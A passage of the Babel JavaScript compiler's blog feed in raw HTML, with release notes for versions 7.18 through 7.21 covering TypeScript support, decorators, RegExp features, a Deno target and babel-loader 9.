<p>You can read more about the new TypeScript features in their <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-5-0-beta/" target="_blank" rel="noopener noreferrer" class="">release post</a>!</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="experimental-support-for-cts-configuration-files">Experimental support for <code>.cts</code> configuration files<a href="https://babeljs.io/blog/2023/02/20/7.21.0#experimental-support-for-cts-configuration-files" class="hash-link" aria-label="Direct link to experimental-support-for-cts-configuration-files" title="Direct link to experimental-support-for-cts-configuration-files" translate="no">​</a></h3>
<p>If you installed <code>@babel/preset-typescript</code>, or if you are running Babel using <code>ts-node</code>, you can now use <code>babel.config.cts</code> as a Babel configuration file written in TypeScript and CommonJS. You can read more about this in the <a href="https://babeljs.io/docs/config-files#supported-file-extensions" target="_blank" rel="noopener noreferrer" class="">documentation</a>.</p>
<p>It's not possible yet to use <code>babel.config.ts</code> and <code>babel.config.mts</code> files, pending stabilization of the <a href="https://nodejs.org/api/esm.html#loaders" target="_blank" rel="noopener noreferrer" class="">Node.js ESM loader</a> API.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="source-maps-improvements">Source maps improvements<a href="https://babeljs.io/blog/2023/02/20/7.21.0#source-maps-improvements" class="hash-link" aria-label="Direct link to Source maps improvements" title="Direct link to Source maps improvements" translate="no">​</a></h3>
<p>Source maps generated by Babel now support <a href="https://developer.chrome.com/blog/devtools-modern-web-debugging/#friendly-call-frames" target="_blank" rel="noopener noreferrer" class="">Friendly Call Frames</a>, to show better names for trasformed functions in devtools.</p>
<p>Additionally, <code>@babel/generator</code> now accepts input source maps generated from other tools in the build pipeline: this allows to properly merge source maps even when using <code>@babel/generator</code> directly without <code>@babel/core</code>, and improves the general performance of source map merging in when using Babel.</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.20.0 Released: Deno target and TypeScript 4.9]]></title>
            <link>https://babeljs.io/blog/2022/10/27/7.20.0</link>
            <guid>https://babeljs.io/blog/2022/10/27/7.20.0</guid>
            <pubDate>Thu, 27 Oct 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[We just published Babel 7.20.0!]]></description>
            <content:encoded><![CDATA[<p>We just published Babel 7.20.0!</p>
<p>This release includes support for <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-9/" target="_blank" rel="noopener noreferrer" class="">TypeScript 4.9</a>, and parser support for the <a href="https://github.com/tc39/proposal-import-reflection/" target="_blank" rel="noopener noreferrer" class="">Import Reflection</a> and <a href="https://github.com/tc39/proposal-explicit-resource-management/" target="_blank" rel="noopener noreferrer" class="">Explicit Resource Management</a> Stage 2 proposals. Additionally, you can now use <a href="https://deno.land/" target="_blank" rel="noopener noreferrer" class="">Deno</a> as one of your compilation targets.</p>
<p>In the past few releases we have made gradual improvements <code>@babel/generator</code>'s code location tracking, which lead to higher source map quality and better positioning of comments in the generated output.</p>
<p>We are also releasing version 9.0.0 of <a href="https://github.com/babel/babel-loader/" target="_blank" rel="noopener noreferrer" class=""><code>babel-loader</code></a>, the Babel loader for Webpack.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.20.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2022/10/27/7.20.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="typescript-49-14211">TypeScript 4.9 (<a href="https://github.com/babel/babel/pull/14211" target="_blank" rel="noopener noreferrer" class="">#14211</a>)<a href="https://babeljs.io/blog/2022/10/27/7.20.0#typescript-49-14211" class="hash-link" aria-label="Direct link to typescript-49-14211" title="Direct link to typescript-49-14211" translate="no">​</a></h3>
<p>TypeScript 4.9 introduces a new keyword operator, <code>satisfies</code>, that lets you assert that an expression has a given type without actually casting that expression:</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> a </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">,</span><span class="token plain"> y</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">const</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">//  ^ type is { x: 1, y: 2 }</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> b </span><span class="token operator">=</span><span class="token plain"> a satisfies </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain">key</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token punctuation">]</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">number</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">//  ^ type is still { x: 1, y: 2 }, and not { [key: string]: number }!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">a satisfies </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain">key</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token punctuation">]</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// error! a does not satisfies that type</span><br></span></code></pre></div></div>
<p>You can read more about this in the TypeScript 4.9 <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-9-beta/#hamilton" target="_blank" rel="noopener noreferrer" class="">release post</a> 😉.</p>
<p>Babel can now parse and strip away those annotations when using <code>@babel/plugin-transform-typescript</code> or <code>@babel/preset-typescript</code>, allowing you to start using the new TypeScript version.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="deno-compilation-target-14944">Deno compilation target (<a href="https://github.com/babel/babel/pull/14944" target="_blank" rel="noopener noreferrer" class="">#14944</a>)<a href="https://babeljs.io/blog/2022/10/27/7.20.0#deno-compilation-target-14944" class="hash-link" aria-label="Direct link to deno-compilation-target-14944" title="Direct link to deno-compilation-target-14944" translate="no">​</a></h3>
<p>When compiling for Deno, you can configure <code>@babel/preset-env</code> to only compile the features not supported by your Deno version. While Deno usually ships new ECMAScript features as soon as possible, you might need to support older engine versions.</p>
<p>You can enable it using the <a href="https://babeljs.io/docs/en/options#targets" target="_blank" rel="noopener noreferrer" class=""><code>targets</code></a> option:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JSON</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token property">"targets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token property">"deno"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"1.20"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token property">"presets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/preset-env"</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="babel-loader-900"><code>babel-loader</code> 9.0.0<a href="https://babeljs.io/blog/2022/10/27/7.20.0#babel-loader-900" class="hash-link" aria-label="Direct link to babel-loader-900" title="Direct link to babel-loader-900" translate="no">​</a></h3>
<p>This new major version of <a href="https://github.com/babel/babel-loader/releases/tag/v9.0.0" target="_blank" rel="noopener noreferrer" class=""><code>babel-loader</code></a> drops support for Webpack &lt; 5, for Babel &lt; 7.12 and for Node.js &lt; 14.15 LTS.</p>
<p>Loader options cannot be specified using the query parameters: instead of specifying options inline (for example, <code>loader: "babel-loader?presets=@babel/preset-env"</code>) you will have to use the <code>options</code> object:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token literal-property property">loader</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"babel-loader"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token literal-property property">options</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token literal-property property">presets</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/preset-env"</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>You can also use a dedicated <a href="https://babeljs.io/docs/en/config-files#project-wide-configuration" target="_blank" rel="noopener noreferrer" class="">Babel configuration file</a>, such as <code>babel.config.json</code>.</p>
<p>If you are not using query parameters to specify Babel options, and if you are on a modern version of Webpack, Babel and Node.js, you should be able to update without changes to your Webpack or Babel configurations.</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.19.0 Released: Stage 3 decorators and more RegExp features!]]></title>
            <link>https://babeljs.io/blog/2022/09/05/7.19.0</link>
            <guid>https://babeljs.io/blog/2022/09/05/7.19.0</guid>
            <pubDate>Mon, 05 Sep 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[We just published Babel 7.19.0!]]></description>
            <content:encoded><![CDATA[<p>We just published Babel 7.19.0!</p>
<p>This release updates our implementation of the <a href="https://github.com/tc39/proposal-decorators" target="_blank" rel="noopener noreferrer" class="">decorators proposal</a>, which reached Stage 3 in March. It also includes support for the new <a href="https://github.com/tc39/proposal-duplicate-named-capturing-groups" target="_blank" rel="noopener noreferrer" class="">duplicate named capturing groups proposal</a> for regular expressions.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.19.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2022/09/05/7.19.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="new-default-values">New default values<a href="https://babeljs.io/blog/2022/09/05/7.19.0#new-default-values" class="hash-link" aria-label="Direct link to New default values" title="Direct link to New default values" translate="no">​</a></h3>
<p>Given the stabilization of the <a href="https://github.com/tc39/proposal-decorators" target="_blank" rel="noopener noreferrer" class="">decorators</a> and <a href="https://github.com/tc39/proposal-record-tuple" target="_blank" rel="noopener noreferrer" class="">Record and Tuple</a> proposal, we set some default values for their <a href="https://babeljs.io/docs/en/babel-parser#plugins-options" target="_blank" rel="noopener noreferrer" class="">parser plugin</a> options:</p>
<ul>
<li class=""><code>decorators</code>/<code>@babel/plugin-proposal-decorators</code>'s <code>decoratorsBeforeExport</code> now defaults to <code>false</code>;</li>
<li class=""><code>recordAndTuple</code>/<code>@babel/plugin-proposal-record-and-tuple</code>'s <code>syntaxType</code> option now defaults to <code>hash</code>.</li>
</ul>
<p>These options will be removed in Babel 8.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="stage-3-decorators-14836">Stage 3 decorators (<a href="https://github.com/babel/babel/pull/14836" target="_blank" rel="noopener noreferrer" class="">#14836</a>)<a href="https://babeljs.io/blog/2022/09/05/7.19.0#stage-3-decorators-14836" class="hash-link" aria-label="Direct link to stage-3-decorators-14836" title="Direct link to stage-3-decorators-14836" translate="no">​</a></h3>
<p>The decorators proposal was promoted to Stage 3 with some minor but observable changes. You can enable the new version using the <code>"version": "2022-03"</code> option of <code>@babel/plugin-proposal-decorators</code>:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-decorators"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token property">"version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"2022-03"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>If you are migrating from the <code>2021-12</code> version, the following breaking changes might affect you:</p>
<ul>
<li class="">the <code>initialize</code> method of the object returned by accessor decorators has been renamed to <code>init</code>;</li>
<li class="">the <code>isPrivate</code> and <code>isStatic</code> properties of the <code>context</code> parameter received by the decorators (the second one) have been renamed to <code>private</code> and <code>static</code>;</li>
<li class="">the <code>context</code> parameter now always has an <code>access</code> property, regardless of the decorated element type;</li>
<li class="">support for metadata (<code>getMetadata</code>/<code>setMetadata</code>) has been removed and <a href="https://github.com/tc39/proposal-decorator-metadata" target="_blank" rel="noopener noreferrer" class="">postponed to a future proposal</a>;</li>
<li class=""><code>@(expression)()</code>-style decorators are disallowed, and you must use <code>@(expression())</code>;</li>
<li class="">decorators are applied in the following order, instead of in a single pass:<!-- -->
<ol>
<li class="">static method decorators</li>
<li class="">proto method decorators</li>
<li class="">static field decorators</li>
<li class="">instance field decorators</li>
<li class="">class decorators.</li>
</ol>
</li>
</ul>
<p>If you are migrating from an older version of the proposal, we suggest reading <a href="https://github.com/tc39/proposal-decorators" target="_blank" rel="noopener noreferrer" class="">the full README</a>. 😉</p>
<blockquote>
<p>💡 TypeScript <a href="https://github.com/microsoft/TypeScript/issues/48885" target="_blank" rel="noopener noreferrer" class="">plans to implement</a> this version of the proposal. After almost a decade, it will be possible to write decorators without worrying if they will be compiled by Babel or tsc!</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="regexp-duplicate-named-capturing-groups-14805">RegExp duplicate named capturing groups (<a href="https://github.com/babel/babel/pull/14805" target="_blank" rel="noopener noreferrer" class="">#14805</a>)<a href="https://babeljs.io/blog/2022/09/05/7.19.0#regexp-duplicate-named-capturing-groups-14805" class="hash-link" aria-label="Direct link to regexp-duplicate-named-capturing-groups-14805" title="Direct link to regexp-duplicate-named-capturing-groups-14805" translate="no">​</a></h3>
<p>Babel now supports the <a href="https://github.com/tc39/proposal-duplicate-named-capturing-groups/" target="_blank" rel="noopener noreferrer" class="">RegExp duplicate named capturing groups</a> proposal, which allows re-using the same group name in alternative RegExp branches:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> dateRE </span><span class="token operator">=</span><span class="token plain"> </span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">year</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex" style="color:#3e999f">-</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">month</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex alternation keyword" style="color:#8959a8">|</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">month</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex" style="color:#3e999f">-</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">year</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"2022-12"</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">match</span><span class="token punctuation">(</span><span class="token plain">dateRE</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token property-access">groups</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// { year: "2022", month: "12" }</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"12-2022"</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">match</span><span class="token punctuation">(</span><span class="token plain">dateRE</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token property-access">groups</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// { year: "2022", month: "12" }</span><br></span></code></pre></div></div>
<p>You can enable this proposal using the <code>@babel/plugin-proposal-duplicate-named-capturing-groups-regex</code> plugin:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/proposal-duplicate-named-capturing-groups-regex"</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>Babel relies on different third-party packages to transform regular expressions: this is possible thanks to the maintainers of <a href="https://github.com/jviereck/regjsparser/" target="_blank" rel="noopener noreferrer" class="">regjsparser</a>, <a href="http://github.com/benjamn/regjsgen" target="_blank" rel="noopener noreferrer" class="">regjsgen</a> and <a href="https://github.com/mathiasbynens/regexpu-core/" target="_blank" rel="noopener noreferrer" class="">regexpu-core</a> who took time to review our pull requests!</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.18.0 Released: Destructuring private elements and TypeScript 4.7]]></title>
            <link>https://babeljs.io/blog/2022/05/19/7.18.0</link>
            <guid>https://babeljs.io/blog/2022/05/19/7.18.0</guid>
            <pubDate>Thu, 19 May 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[We just published Babel 7.18.0!]]></description>
            <content:encoded><![CDATA[<p>We just published Babel 7.18.0!</p>
<p>This release includes support for the <a href="https://github.com/tc39/proposal-destructuring-private" target="_blank" rel="noopener noreferrer" class="">private destructuring</a> proposal and for TypeScript 4.7.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.18.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2022/05/19/7.18.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="private-destructuring-14304">Private destructuring (<a href="https://github.com/babel/babel/pull/14304" target="_blank" rel="noopener noreferrer" class="">#14304</a>)<a href="https://babeljs.io/blog/2022/05/19/7.18.0#private-destructuring-14304" class="hash-link" aria-label="Direct link to private-destructuring-14304" title="Direct link to private-destructuring-14304" translate="no">​</a></h3>
<p>Babel supports transforming the <a href="https://github.com/tc39/proposal-destructuring-private" target="_blank" rel="noopener noreferrer" class="">private destructuring</a> proposal. Now you can use private fields or methods in destructuring patterns:</p>
<table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Foo</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  y </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">equals</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">obj</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> #x</span><span class="token operator">:</span><span class="token plain"> x</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token literal-property property">y</span><span class="token operator">:</span><span class="token plain"> y </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      x </span><span class="token operator">===</span><span class="token plain"> obj</span><span class="token punctuation">.</span><span class="token property-access">#x</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"> y </span><span class="token operator">===</span><span class="token plain"> obj</span><span class="token punctuation">.</span><span class="token property-access">y</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span></code></pre></div></div></td><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" 